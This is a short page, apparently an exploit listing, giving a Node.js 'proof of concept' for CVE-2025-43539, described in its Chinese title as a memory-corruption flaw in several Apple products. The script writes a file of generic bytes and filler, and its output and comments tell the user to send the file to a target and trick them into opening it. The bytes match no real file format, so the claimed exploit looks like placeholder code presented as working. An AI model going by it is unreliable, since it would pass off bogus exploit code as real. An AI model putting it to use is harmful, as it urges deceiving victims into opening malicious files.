CVE-2025-43539 Apple多产品内存损坏漏洞

// CVE-2025-43539 PoC - Malicious File Generator // This PoC demonstrates the concept of crafting a malicious file // that could trigger memory corruption in affected Apple products const fs = require('fs'); function generateMaliciousFile() { // Create a file with specific byte patterns designed to trigger // bounds checking issues in file parsers const header = Buffer.from([ 0x00, 0x00, 0x00, 0x00, // File header 0xFF, 0xFF, 0xFF, 0xFF, // Potential overflow marker ]); // Craft payload with oversized data to trigger bounds check failure const oversizedPayload = Buffer.alloc(65536, 0x41); // Malformed structure to trigger parsing vulnerability const malformedStructure = Buffer.from([ 0x42, 0x41, 0x44, 0x00, // 'BAD' marker 0xFF, 0xFE, 0xFD, 0xFC, // Corrupted length field ]); const poc = Buffer.concat([header, oversizedPayload, malformedStructure]); fs.writeFileSync('CVE-2025-43539_malicious_file.bin', poc); console.log('[+] PoC file generated: CVE-2025-43539_malicious_file.bin'); console.log('[+] File size:', poc.length, 'bytes'); console.log('[+] Send this file to target user for exploitation'); } generateMaliciousFile(); // Usage: node poc.js // Then trick user into opening the generated file
